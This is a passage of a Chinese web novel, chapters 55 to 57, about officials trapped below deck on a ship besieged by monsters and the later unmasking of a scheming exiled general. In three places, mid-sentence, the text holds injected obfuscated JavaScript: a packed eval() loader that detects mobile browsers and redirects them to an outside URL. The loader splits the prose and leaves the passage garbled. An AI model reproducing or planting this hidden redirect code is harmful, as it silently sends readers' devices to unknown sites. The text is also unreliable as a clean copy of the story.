“……这个嘛,”一阵紧张的沉默后,他把目光慢慢转到萧明灿身上,看着她手里的那块碎玉,“毕竟有句话说得好,能摧毁我们的,往往都是我们所珍视的。” 沈祈安道:“你既然决定利用那怪物,就该料到会有这么一天。” “但我没想到他会因为家人而崩溃。”檀妄生说:“我们都知道他有年迈的父母住在乡下,但具体住在哪个地方,除了我之外,这座岛上只有不到六个人知道,而恰巧,现在他们都还活着。” 他托着火铳的食指点了点长筒,若有所思地说:“既然如此,就意味着那怪物对老人的了解几近于无,那它们又是如何利用两位老人家让周卫崩溃的呢?” “谁知道。”沈祈安道:“那群鬼东西‘感染’的可不只是你的人。周卫设计让船上的官员‘感染’那疯症时,应该也没想到他们在登岛前就看过关于这岛上每一个罪人的文书吧?” “那真是太巧了。”檀妄生缓缓点头,说:“我的人为了赢得信任,竟然还透露了怪物能够共享记忆的事,并且在你们对怪物已经有所了解的情况下,仍凭一己之力摧毁了整艘船,最后还以最出人意料的方式死了。这简直是——” “荒唐吗?”沈祈安看了眼走廊上残缺不全的尸体。油灯推开浓稠的阴影,照着前面堆叠的血桶。有那么一瞬间,刺鼻的血腥味让他们甚至有一种自己正在哪个巨兽的肚子里,和这些尸体一同等待着被溶解的错觉。官员们苍白着脸往前走。萧明灿看着手里的青玉坠。而沈祈安则把目光转回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368065|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀妄生身上。 “这里就是你制造的炼狱。” ——炼狱。 只有这个词能形容眼前的处境。 尤其是当他们被困在这狭窄又阴暗的舱下,只能听到断断续续的敲门声和厮杀声的时候。他们觉得心惊胆战,恐惧重重压着胸口。很快,那种混杂着厮杀的叫声渐渐消失了,取而代之的是撕心裂肺的尖叫,然后是撕咬声,惨叫声。 最后惨叫声变得越来越低弱。他们能想象到那个人发出哀号的模样,首先是他痛苦扭曲的脸,接着是他破裂的伤口、他爬向房门的动作,就像是一个巨大的、蠕动的肉块……重叠凌乱的脚步声打断了他们恐怖的想象。 有人从甲板上下来了。什么人?或许是檀妄生那帮人。放“狗”把这里搅得一团乱后再慢悠悠地过来清场,不就是影将军军营里那群人的作风吗?所有侍卫交换了个眼神,深吸一口气,接着握紧了手里的刀。 但脚步声并没有接近这里。而与此同时,凄厉的惨叫声又再次响起。然后是—— 人群惊恐地抬起头,看着被砰砰砸响的屋顶。 这动静并不算大,但却能让所有人注意到。那是一种黏稠的、湿漉漉的砍剁声,就像有人在案板上剁着肉馅,又或是一大截猪骨。而当他们联想到这一点时,都下意识看向对方,眼神里充满了恐惧。 “如果……”侍卫的声音里带着明显的颤抖:“如果是那罪臣的人,我们是不是还可以与之一战……” 没有人说话。 他们紧张地看着被木柜椅子挡住的门,烛灯的火苗随着砍剁声晃动着,光线明明灭灭,就仿佛从角落的黑暗里伸出了无数双鬼手,正玩弄似的拨动着火苗。官员们肩膀颤抖,视线不安地乱瞟。昏光里,房间那面写满血字的墙忽隐忽现。 恐惧。空气里充满了恐惧的味道——血腥味,尿骚味,刀剑的铁锈味,还有肌肉被割开切断的生肉味。他们不确定这些到底是真的顺着人群或门缝里渗出的,还是因为恐惧而想象出来的幻觉——幻觉——成为那鬼东西的第一步,出现幻觉。 他们在昏暗里等待着。 这里就像是炼狱。昏暗,狭窄,被迫听着那些会把人逼疯的声音,在恐惧和不安的折磨里永无止境地等待着。有谁会救他们?甲板上不是还有人吗?也许也有幸存者,也许他们会来救他们……有可能吗?又或者是国师——如果这一切都是檀妄生的诡计,那么……国师现在还活着吗? 他们闭上眼睛,或是干脆捂住耳朵,但仍旧没法阻止自己不去想那个即将要面临的结局。哀号声,砍剁声,冰块落地时发出的哗啦声——然后是走动声。 一个侍从沉默地走向周卫吊死的房间。没有人注意到他,直到闷沉又近在咫尺的碰撞声传来——侍从缓缓仰起头,仰到上半身几乎要弯折的程度,接着猛地砸向墙面,鲜血模糊了其中一个人的名字。 55. 假生机 ——咚。咚。 几个侍从站直身体,下意识看了眼刚刚抬过来的同伴,他身上裹了层破旧的麻布,挡住了血肉模糊的面部,但额头的位置还是被鲜血渗透,像是戴了个深红面具的假人。其中一人抹了把后颈的冷汗—— 咚。 头顶的砍剁声再次响起。他们不敢多留,强忍住回头看一眼的冲动,匆匆走出了周卫被吊死的房间,随着房门慢慢关合—— 咚。 所有人都聚在房门附近,听着头顶传来的响动。这是他们此刻唯一能做的事情,尽管那感觉就像是在听催命的丧钟。 他们说不清已经过去了多久,等待宛如地狱。他们只记得,当那丧钟敲响到第三十二次时,一个侍从把自己的脑袋撞在了墙上;当敲响第七十八次时,一个人突然毫无征兆地发出尖叫,引来了一群怪物试图破门;而当敲响第三百五十次时,已经有十一人陷入了疯症,三人因幻觉而亡。此时舱里还有四十九个幸存者。 “我们没有杀了他们。哪怕他们已经出现了癫狂的幻觉。” 沈祈安走在国师身后,看着两侧血迹斑驳的木桶。舱下发闷的叫声忽近忽远,就仿佛这声音是从血墙里渗出来的悲鸣。油灯照着几人沾血的侧脸。 他低声道:“那个时候的大家已经濒临极限了,根本承受不了一丁点的变故,更没办法眼睁睁看着同伴接连死亡或自相残杀。所以……我们只能把他们绑起来,堵上嘴,安置到能看见的角落里。” 萧明灿点了点头,知道这是最稳妥的方法。 那时的他们就如同被关在箱子里的老鼠。外面危机遍布,时不时能听到同伴濒死的哀号,他们迫切地等待希望出现,而每当有同伴死亡,这种微渺的希望就会减少一分。这对他们来说就像是一种预示——他们最终也会变成那副模样,变成一个把自己弄得支离破碎的怪物,又或是一滩肉泥。 而正是这种糟糕的处境,把局势推到了一个更加失控的边缘。那个时候,他们的理智脆弱得就像是块单薄的木板,外面的任何响动就如同压在木板上的重物。而倘若沈祈安下令除掉所有出现“症状”之人,那么这块弯到极限的木板就会被彻底压断—— 一旦陷入疯症,结局就只有死路一条。根本就没有什么“奇迹”,也没有什么希望。 他们会更加恐惧怪物,开始变得疑神疑鬼。接下来出现的每一个不寻常的声音或画面,都有可能让他们怀疑自己也陷入了那种癔症,变得疯狂,变得非人非鬼,或者在这之前就死在刀下。更重要的是,他们所表现出的那种惊恐或失措,会让其他人以为身边人已经变成了怪物。 怪物,怪物。他们会无比清晰地感受到死亡的逼近。而在死亡面前,几乎没有什么信任可言。他们会相互猜忌,相互指认,也许这其中还会有人借此去报私仇。要不了多久,他们就会彻底成为那怪物的一员。尽管在这最初,他们仅仅只是想要保护自己免受怪物侵蚀。 “你做得对。”萧明灿轻声道。 沈祈安其实并不知道自己做得对不对。 外面那些鬼东西还在敲打着房门。他看着周围握刀的官吏,而他们则不安地盯着几个被捆在角落的人。他感觉大家就像是被困在盒子里的老鼠,哪怕是一点轻微的动静,都会吓得抱头乱窜。但至少,这个“木盒子”还算安全,对吧? “也许……”一个官员用外衣擦掉脸上的血,“也许,我们可以等到天亮后再出去。那群‘感染’……鬼东西只会在黑天时出来,天亮后,他们应该就会缩回到岛上。” “你没听到刚刚那动静吗?”蓄着胡子的官员道,“那鬼东西在搬动木桶。捕猎就捕猎,为何要搬那玩意?说不定他们……它们正打算把这里当作新巢穴。” “所以,我们从窄窗出去。”另一人指了指埋进阴影的尽头,那几扇窄窗已经被挡住了,“周卫当初不就是想要趁乱砸毁窄窗逃走吗?我刚刚看了一圈,其中一扇窗已经出现了裂痕,我们可以利用那个逃走。” 蓄着胡子的官员沉默了一瞬,而后道:“但上岸之后,我们该怎么办?” 他看了眼周围的人,“眼下我们对另一艘船的情况完全不知,但刚刚那种惨叫,别说起了层薄雾,就是下了冰雹他们应该也能听到。但都这个时候了,他们却一点动静都没有……我不是要打击各位,但大家应该清楚,没有消息就等于是坏消息。如今我们会武的人不多,身上还带着伤,说不定檀妄生那伙人就等着我们上岸,然后把我们一网打尽。” 几个官员闻言扫向四周。除了官吏和侍卫之外,这里还有舱下的杂工,负责衣食起居的侍从,一辈子都没碰过剑的大夫,几个惨白着脸的太监。他们又看了眼手里的刀,最后带着希望破灭的无助和恐惧看向对方。 蓄着胡子的官员继续道:“死在疯子手里和死在那群怪物手里,有什么区别吗?” “可我们总不能就这么坐以待毙吧?”官员道:“如果那些鬼东西真把这里当成了老巢,这门又能挡它们到什么时候?舱下没有水,我们连三天都坚持不了。如果檀妄生那群人要登船,那我们现在就等于是在画地为牢,把性命拱手送给他们……” 官员回过头。灯烛飘摇,角落里那几个被捆着的人发出挣扎的呜咽,影子在墙上乱晃,仿佛被封印的鬼。几个侍从哆哆嗦嗦,吓得只敢看自己脚尖。其他人则慢慢转头,看向被杂物挡住的窄窗。敲门声断断续续响起。 官员继续道:“要我说,还不如跳出去搏一把——” 沈祈安打断:“不,我们哪也不去,就留在这里。” 众人如被惊醒,见鬼似的转头:“……什么?” “你知道我当时在想什么吗?” 沈祈安抬起眼,脑海里那些惊惧交加的脸骤然变成了一摞摞血桶,一截沾着泥的肉条搭在裂口上,昏暗里,像是墙缝里长出的草。 檀妄生闻言放慢了脚步,稍稍偏过头。沈祈安压着刀柄,表情隐藏在烟雾般缠绕的阴影里,“我一定要活下去,然后亲眼看看那罪臣脑袋落地。” 萧明灿平静地望着前方那道苍白的光柱。顺着这个方向,她隐约能看到舱口走动的腿影,一个人跪在了地上,甲板在重叠的脚步里发出了一声微不足道的磕响。接着,光影被遮挡,她看到了檀妄生侧颈的伤口,以及那只灰黑色的瞳孔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398945|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀妄生笑着说:“你不是第一个这么想的。” “……难道将军想出了什么更好的主意?” 几人站在房门后面,地上躺着五六支因刚才的“疯症”混乱而被踩扁的蜡烛。剩下的烛灯被下人小心翼翼护在手里,烛光明灭,官吏们那一张张熟悉的面孔被晃得残缺不全。 沈祈安道:“檀妄生那伙人一定会过来。” 他把刀压在破桌上,说:“这里有他们需要的东西。兵器,粮食,药材,甚至是衣裳。他们想要造反当土皇帝,但那地方是荒岛,想吃点野果都得去和怪物抢,更别提患病受伤了。所以,檀妄生不可能会把这一船的东西白白拱手让给怪物。” “话虽如此,但眼下又绕回到了那个关键,”官员指了指旁边几个受伤的人,道:“将军,我不是要说丧气话,但事实就是如此,我们如今没有水,能有力气提刀和那群亡命徒拼命的也没几个。横竖这船也跑不了,如果檀妄生就这么在岸边熬我们个三四天再上船,我们这么干等下去,不就给自己等成干尸了么。” “他不会等下去的。” 情况紧急,沈祈安顾不上斟酌言语,只直言道:“各位大人,这船如今对于檀妄生那罪人而言,就如同几车上好的军粮。而那怪物就是围在军粮上的蛀虫,我们则是守在军粮边的阻碍。眼下他们还不清楚舱下的情况,更不知道我们究竟是被困在这了还是已经寻到了生机。船里情况不明,周卫也不在,怪物随时都有可能在这里筑巢。” 撞门声仍未停止。那声音笨重又刺耳,就好像站在门外的是个刚从坟里爬出来,但却没有胳膊的尸体。沈祈安背对着那一层层木椅柜子堆起来的防线,目光一一扫过几张面孔,最终定在墙面的倒影上。 他继续道:“所以,那帮心急的莽夫一定会以为,多等一天,未知的隐患就会多一分——” “如果这群亡命徒想要登船的话,一定会在天一亮就赶过来。” 檀妄生慢悠悠地看了眼堆满尸骸的走廊,说:“毕竟船上刚发生过一场袭击,死伤不明,正是人群团团乱的时候。而又刚好,那群怪物还没有彻底把窝挪到这边来。这对于亡命徒们来说简直是个绝佳的时机,他们完全可以趁此打船上人一个措手不及。” 沈祈安道:“看来你终于承认——” “但将军猜错了。”檀妄生耸耸肩,看向一旁的萧明灿,说:“想要早点过来,可是国师大人的想法。” 沈祈安没料到这点,怔了一下,接着看向国师。 “确实如此。”萧明灿实话实说:“我与影将军在白日里提过五日期限一事。前些日子因为受了点伤没法出岛,如今已是最后一天,我怕再耽搁出什么事,便想着早一些到。” 沈祈安从这话里察觉到了不对,“这四天以来,船上一直都没出过状况,结果你今日刚知道期限一事,晚上船就出事了。” 舱口附近的木桶都被吊了出去,上面人影晃来晃去,又消失在白雾里。走廊静得出奇,所有人面色灰败地往上走,一个接着一个,像是排队走黄泉的亡魂。 他看着檀妄生,冷笑道:“还真是巧了。” 56. 亡魂路 “……将军是说,这对我们来讲反倒是个碰巧的好事?” 官员抬抬手,小太监忙不迭地捧着烛灯跟上。那昏黄的光照着周围绑在一起的木柜桌椅,乍眼看去,犹如无数畸形的树枝粘在一起。而正是这些东西,暂时阻止了那群怪物破门而入。下人们目光慌张乱瞟,听着那怪声从四面传来,感觉这里就像阴阳交界的死境。 沈祈安点头,接过副手刚找来的备用木桨,用刀剁成几段,各个都有一臂长,然后放在木板上,示意说:“那些怪物如果真把这里当老巢,即使天亮也不走的话,那么檀妄生若是想要进来,就必须先去解决它们。这是分散他们人手的好办法。” 众人围聚过来。沈祈安擦掉下颌的血珠,指向头顶,说:“舱下狭窄,又被那群鬼东西弄得乱七八糟。听到刚刚木桶的拖拽声了吗?它们想要堵门,这难不到我们。那群亡命徒如果想解决我们,就得破开门,替我们扫清障碍。届时走廊会比现在更乱,他们一定会意识到这一点,从而因为顾忌后路被堵,不得不减少下来的人手。” “他们一定会派精锐过来。”官员道:“而且,他们有那该死的火铳。这是个难题。那东西在窄舱里就是个收人命的阎王,他就算闭着眼睛,都能把我们连串射穿。我们根本无处可躲。” “所以,我们要用这个对付他们。”沈祈安拍了拍那块木板。 那块木板如今就倒在地上,被人群一个接一个地踩过去,犹如破开的城门。 檀妄生漫不经心地抬起眼,看向走廊尽头。晃动的油灯正照着木板上的斑驳血迹,那或许来自某个侍卫,官员,那些罪人,又或许三者皆有?接着,又随着队伍的前行而被阴影缓缓吞没,就像被拖进黑暗的猎物。他轻轻闭上了眼睛,仿佛在回味着什么。 然后,他说:“……国师大人听到了吗?” 哀号声。低呜声。砍剁声……所有声音混杂成了某种浑浊又刺耳的咆哮。被绑在角落的人颤抖着身体,惊恐地盯着那块缓缓被立起的木板,它的影子在墙上越发高大,宛如要跃起吃人的怪物。一个下人发出崩溃的哭喊,但声音大多都被嘴里的布团堵了回去。 他不停地往后退,后背像是要抵穿墙面,他睁圆了双眼,尽管眼眶糊满了泪水,但他似乎仍能透过水雾看见某种更可怕、更让人绝望的庞然巨物,他发出尖叫,然后在某一时刻,他忽然低下头,一动不动了。没有人注意到他。 所有人都在加固那块木板,杂工用备用船桨砍成的木块钉钻着握把,侍卫们压住木板,侍从们则到处寻找能用得上的铁片或刀刃。这里弄出的响声越来越大,门外的怪物也焦躁地尖叫起来,他们几乎能从这声音里辨别出它们是谁,曾说过几句话的同僚,那个帮过他的侍卫,又或是朝堂意见相左的政敌……没有人在意这些。他们全都看着那块越发坚固的木板。 “我们可以靠这些东西来抵挡那群亡命徒。” 没有人再反驳沈祈安的话。而当沈祈安又带人造出能通过舱口、带他们走上甲板的小型刺盾时,所有人都无比坚信沈将军能带领他们找到那条生路。 他们抬起木板,在混乱的叫声中摆出御敌的架势。没有人再看向角落,仿佛在那里哭喊惊叫的只是濒死的脆弱动物——动物。与他们毫不相干。他们不再感到心惊胆战,或者说,那种求生的欲望和愤怒压过了恐惧。他们笃定自己的结局不会再沦落至此,因为希望已经来临,并且他们为此做了充足的准备。 那些亡命徒不会料到他们会想出这一招吧?他们会在清理完那些怪物来到这里,那些浸泡在血肉里的怪物会给他们一种错觉,让他们误以为船上的人都已经死得差不多了,而接下来的尽头则埋着他们梦寐已久的宝藏,也许里面是发疯的怪物,自相残杀后奄奄一息的人……然后,他们会被打个措手不及,节节败退—— 所有人排好阵型。这是一场拼尽全力的演练。侍卫们伏低身体,眼神坚毅。尖叫声在四周响起。他们抬起手中长刀,盯着微微颤动的桌椅防线,想象着那群亡命徒的闯入,然后贴着木板向前猛刺—— 撞门声逐渐变得低弱起来,很快便停止了。那预示着清晨即将到来。为什么上面的动静会越来越小?也许它们并没有把这里当成新据点,也许它们想要分一部分回到老巢,这并不重要,反正那些亡命徒一定会过来。所有人继续等待着,他们没有发觉角落里的喊叫声早已停止。几个被捆住的人正在黑暗里一眨不眨地盯着他们。 烛火渐渐熄灭,周围含含糊糊的低呜声变得像风声一样微弱。 他们反复抬起木板,又不断放下,寻找着能更好命中要害的出刀方式,推算出更多能预料到的变故。几个侍卫掂了掂一人宽的小型刺盾,罩在头顶,演示着如果甲板有人守着该怎么办。那东西是由三四个破椅子制成的,坚厚的木板上插了十几枚银镖,足以支撑一个人顶着流弹和刀剑爬上甲板。下人们搀扶着受伤的官吏。 没有人休息。一种紧绷的、亢奋的情绪在他们血液里流动,淹没了焦灼和不安。他们视线凝向房门,神色坚定,仿佛那后面不再是令人颤栗的地狱,而是充满希望的生机。残烛微颤的火苗在他们眼底跃动。 他们再次抬起木板,挥动长刀。当他们终于找到了当下最稳妥的配合方式时,头顶传来了火铳发出的震响。所有人停止了商议,抬起头来—— “振奋人心的声音。” 檀妄生把手压在胸前,感受着心跳,意犹未尽地睁开眼睛,就像刚看完一场精彩无比的演出一样。尽管当他做出这个动作的瞬间就被侍卫横刀相指。 他并不在意这些,仿佛还沉浸在那场身临其境的画面里,即使存在于眼前的只有彻底掩埋在阴影里的木板,和散着血腥味的尸骸。 “心跳声、喘息声、互相鼓励的话语声,然后是一片寂静,等待希望降临的寂静——国师喜欢听曲子吗?”他看向萧明灿,问道,“这声音简直比宫里乐师弹奏出的乐曲动人百倍,我甚至能想象到大家抬动那块木板的模样……就像短暂挫败后又重振旗鼓的战士。在绝望的炼狱里快速振作起来,放下猜忌,团结一心对抗恐惧。还有比这更不可思议的事吗?大人……” 他的目光变得兴奋起来,就像刚发现了什么新奇又有趣是事情,迫不及待地同人分享一样,“国师大人能想象吗?做到这一切的竟然是那个总是木着张脸,被文官们激几句就气得三天睡不着觉的沈将军。” “影将军应该对以前的沈将军有什么误会。”萧明灿对此不置可否,平静地道:“况且,你已经离开皇城太久,三年的时间足够改变一个人。” “……改变。”檀妄生慢慢地重复了一遍,接着赞叹地点了点头,“要我说,有了这件事,等回到皇城——如果皇城还没有被怪物摧毁的话,那些人应该不会再拿沈将军和那个早死又战功显赫的兄长做对比了。毕竟,”他看向周围还没登上甲板的官吏,对沈祈安道:“你对他们来说,可是救人于危难的英雄。” 油灯摇曳,檀妄生高大的影子和周围木桶上发黑的浓血融在一起,仿佛恶魔正在恐惧的滋养下悄然诞生。但偏偏那缕寂淡又苍白的光束自他身后铺洒,在周围侍卫刀锋相指的衬托下,宛如伟大的神明降世。一种微妙的紧张感又再次弥漫而至。 萧明灿温和又平静地看着这一幕。官员们一个接着一个顺着被破坏的梯子往上走,而侍卫们的刀又冲着檀妄生逼近几分。沈祈安显然想让他闭嘴,赶紧往前走,但檀妄生却在他们有所行动前先一步说:“——英雄。” 檀妄生说:“他们奉你为英雄。因为你给了他们希望,让他们不必再担心自己会被困死在那块漆黑的木盒子里,并且意识到眼下能够信赖的人只有你……你看,危难之际的出手相助总是能打动人心,这种追逐希望的喜悦甚至盖过了他们心底一闪而过的疑问——比如,” 一个官员在绳子和下人的帮助下登上了甲板,被挡住的天光又再次从舱口铺照下来。有那么一瞬间,众人觉得那光似乎比之前更亮了些,而这也让檀妄生的脸被彻底挡在了阴影中,只有从身后横来的刀闪着寒光。沈祈安想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421984|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻止檀妄生胡言乱语,但周围还未走的人群显然已经被这话吸引了注意。 几道目光转过来。 檀妄生说:“既然落水声出现之前,甲板上的侍卫和舱下走廊的侍卫都在各司其职,那么就意味着,周卫不可能在甲板上制造落水声之后又跑到舱下躲起来,因为到时四面驻守的侍卫都会顺着声音赶过来,而上面又没有什么能让他藏身的地方,更何况当时不止有侍卫在上面,还有官员和忙碌的侍从。所以,这就说明,周卫自始至终都在舱下。” 他在众人的视线下讲述着,没有任何动手的想法,态度端正得就像是来请教问题的学者。“想要在舱下制造落水声,唯一的方法只有那个窄窗。而那种嘈杂的夜晚,想要制造出能压过海浪和人声的异响,并且能‘恰巧’被人看见,就必须要用到重物——并且,是形似人的重物。” 萧明灿立刻就想到了那几个装着杂物的麻袋。 “真是奇怪。”檀妄生看向沈祈安,说:“明明将军说过,那窗子并没有被彻底破坏,那么,周卫又是怎么做到把舱下把那所谓的重物扔进海里的?难不成他还会什么法术——” 沈祈安冷声打断道:“也许你该去问问他。虽然他已经死了,但鉴于命令是你下的,所以——” “等等。”檀妄生稍抬起手,说:“我可从没有说过这场灾祸是我一手造成的。在我看来,是我的人在好心帮你铲除藏在人群里的怪物,并且毫无保留地告诉了你那怪物的习性后,反倒被人陷害栽赃。你看……” 他好心讲着道理:“发现落水声的人是你,意识到周卫失踪的也是你,而在那无头尸出现之后,第一个断定这是一个早已失踪之人做的更是你。要我说,以将军的胆识和洞察力,现在要做的应该是快马加鞭回到皇城,说不定连七日都用不上,就能解决这群试图涌进皇城的怪物——” “胡言乱语!”沈祈安厉声道:“如今人证物证俱在,那周卫还在下面吊着,你有什么可狡辩的?我之所以知道是周卫,是因为我从一开始就不相信一个在军营里杀自己人的疯子……” 檀妄生却看向了萧明灿,“也许是因为将军在这一切发生之前就‘猜’到了接下来的走向。就像预知神那样。” 周围一片安静,甚至连甲板上的脚步声都消失了。那个打算登上甲板的官员放下了手里的绳子,目光在沈祈安和檀妄生之间来回打转,最终又像是等待结果般看向萧明灿。 “国师觉得呢?”檀妄生问。 萧明灿自始至终都没有参与这场对峙。也许觉得这毫无意义,又或者早就知道没人能阻止檀妄生说出任何想说的话,除非他们杀了他。而当所有人的目光转到她身上,等待着她去裁断谁是罪魁祸首时,她表情依然那么平和,就仿佛她早就知晓了这一切,并且会给所有人一个安心的答案。 但答案并没有出现。国师只是示意般地看了眼舱口,露出一个温和的笑容。 檀妄生就这么逆光看了萧明灿一会儿,正当所有人以为他会做些什么时,他却慢慢后退了两步,接着抬起双手,表示自己没有任何发疯的想法,转身走向舱口。 莫名的,那原本站在绳子旁的官吏本能地往旁边退了几步,就像看到了什么鬼煞一样,把登上甲板的位置让给了檀妄生。 这种诡异的寂静一直持续到了檀妄生登上甲板,紧接着,那带着笑意又兴致盎然的声音打破了这种寂静。 “……如果能重来,我一定会在我们的交易上再加一条。” 海雾浮荡,檀妄生转过身,看向刚刚登上甲板的国师。萧明灿脱下了那件厚重且被鲜血和脏污浸透的狐裘,朝着他走来。周围侍卫执刀而立,几个随从已经被压着跪在了一边,各个颈前横着把刀,腰侧装着武器的革带早已空空如也。 萧明灿看着几步之外的檀妄生。那把火铳已经被侍卫夺走,接着,其中一个侍卫狠踢向他的膝窝,逼着他跪下。 他慢慢抬起眼,笑起来,语气犹如爱人般亲昵。 “永远不会背叛对方。” 57. 野狗 萧明灿望向远处的另一艘船,天色昏蒙,她隐约能看到数十道身影在雾中晃动,犹如街边撑起的皮影戏。 接着,雾中传来沉闷的打斗声,然后是火铳开火时崩出的火星。不过比起厮杀,这更像是一场无意义的、被单方面碾压的反抗,因为那声音很短暂,甚至来不及让大家提心吊胆就结束了。几道身影栽歪着倒下,剩下的人影则往这边靠拢,似乎也在打探这边的情况。 “……即使走到眼下这个地步,我也不觉得我们当中有人背叛了对方。” 她回过头。檀妄生被人压着跪在她面前,他腰上那些装着暗器的革带都被卸下了,身后抵着三四把刀,尽管他看起来没有任何反抗的想法,但其中一把刀仍压在了他的肩上,沾着血的刀锋切进他之前的伤口。血珠沿着锋刃一路滑至刀尖。 这副场面让萧明灿忽然想起了几年前那个终于被逮捕归案的杀人狂。那天也是个阴沉天,而当官兵冲进他家中的密道时,他正准备杀害第十三个人。 但眼前这个疯子的脸上却没有任何蔑视或某种完美的计划被中断的愤怒。萧明灿对此并不意外,毕竟当年在刑狱里也没能瞧见过一次。而现在,他就这么仰着头,蹭上血痕的嘴角略微牵动,露出一个若有似无的微笑,就好像忽然间有了一丝兴致,一种想法,以至让他无比期待接下来会发生什么。 这让在场的人感到毛骨悚然,横在檀妄生脖颈上的刀也朝着锁骨逐渐下压,直到难忍刺痛终于让这疯子收敛笑容,溢出点儿微弱的嘶声。 “将军一直在利用我寻找解决那怪物的方法,而我直到离开舱口之前,一直都在受将军保护。你看,我们一直都合作得很好。” 萧明灿取出随身带着的白帕子,稍一偏头,抵着檀妄生脖颈的侍卫立时挪开刀。“但鉴于我们彼此最终想要的都是对方的性命……倒不如说,这场交易出乎预料地提前完成了。” “但国师的语气却不这么觉得。”檀妄生看着萧明灿俯身,慢慢地说:“我听见国师心里的叹气声了。就好像在看一个淘气的孩子终于不出所料地闯了祸。” “所以,这对于我们来说,更像是一场游戏。” 萧明灿看向他侧颈的伤口。这些随行侍卫都是宫里选出来的精锐,当然知道如何在不伤及性命的情况下让人痛苦,哪怕是像脖子这样如此重要的部位。她将叠好的帕子压在他的伤口上,得到了一声低弱的、几乎立刻就消散在风声里的喘息。 这让萧明灿想到了任人宰割的野兽,她逐渐下压的动作因此停顿了一瞬。但紧接着,当她的目光从沾着血的手指移到他的眼睛上时,她忽然意识到,刚刚那声喘息只是他即兴而为的表演。 萧明灿耐心地说:“毕竟,我们想要的可不是能让彼此共赢的东西。” “就像是一场竞赛?”檀妄生看了眼四周堆倒的血桶,而后说:“国师觉得这真的是我做的吗?” 萧明灿看着他的眼睛:“我不知道。你告诉我,是你做的吗?” 寒风呼啸。 最后一个下人已经爬出了舱口,他望了眼灰蒙蒙的天,接着又心有余悸地看向舱口。那些尖叫声已经被彻底埋在舱下,但血腥味却依旧徘徊在这附近,像是垂死挣扎的残魂。几个侍卫已经在沈祈安的命令下排查那些房间,官员们时不时看向四周,似乎在担心那些怪物搞不好会卷土重来。 更多的人则把注意力都放在了这几个亡命徒身上,警惕他们任何细微举动,就好像他们会赤手空拳突破这几十人的包围一样。 “这两艘船一旦出事,对于将军来说,好处有三个。” 萧明灿抬起眼,视线越过檀妄生,越过那一道道人影,望向远处只能显现出些山体轮廓的海岛。 “第一,就如沈将军说的那样,侍卫们与那群非人非鬼的东西完全不同,他们身手高深,懂得思考,知道该如何应对那些潜在的危险。所以,如果将军没有派人‘帮助’他们,稳住他们,他们一定会在第二天一早就杀进岛中心。那岛中心可以挡得住半痴半傻的怪物,但在这些侍卫眼里……那里仅仅只是几道费时间的防线而已。” 檀妄生缓缓抬起手,在国师松手时压住帕子。两人指尖一触即离。 萧明灿直起身,“第二,这两艘船若是出了什么事,能够让其损耗大量人手,将军就不用再担心第一点会发生了。毕竟,大家和将军一样,都需要应付那群随时会袭击人的怪物。而如果他们因为某种意外而陷入恐慌,同时又面临人手不足,那么就算以后想要回过头来对付将军,也只会是一盘散沙。” 檀妄生拿起手帕,看着那上面晕染的血迹,笑了起来。 “第三……” 萧明灿俯视着他。她的语气当然算不上平和,但也足够沉稳,就像大家曾说过的那样——无论发生什么,国师大人总有办法解决。但檀妄生却觉得,比起万分尊贵的国师,她现在更像是审判罪责的神明,而他呢?就像是十恶不赦的罪人。他仰起头,她的身影挡住了那点微不足道的日光。 “最重要的一点。”萧明灿说,“能为我所用的人越少,我在这座岛上就会越被动。到时,我能依靠的人就只有将军。将军会保护我,会给我任何我需要的东西,而我只要想得到真相,就只能对将军言听计从,一直接受这些——” “就像笼中鸟。”檀妄生懒洋洋地开口,“直到我拿到想要的东西或者腻了,亲自取走大人的性命,结束这场……游戏?” 萧明灿并不反驳,只是看着他的眼睛,“将军感到很遗憾吧?如果沈将军没能活下来,说出这些事的话,到时就算我有疑心,也仍会选择暂且相信这个一直在我身边保护我的人。” 毕竟,除了怪物和罪臣之外,还有皇上和太傅这两股势力在暗中涌动,这种复杂又诡谲的局面就如同笼罩在四周的海雾。如果没人能发现制造这一切的凶手就是周卫,那么比起帮助他们、主动告诉他们怪物习性,并且在船上形单影只的罪人,大家也许更怀疑那些本就和自己不对付的政敌。 当然,这并不代表他们不会怀疑檀妄生……只是,他们如今对这座岛的了解不过都是纸上谈兵,真实情况原比他们预料的更凶险。在这种死亡随时都会降临的迷雾里,当罪魁祸首和能信赖的人混杂在一起时,这种危险的不确定性会让他们更加多疑。而作为比所有人都知道更多的人,檀妄生完全可以利用这一点。 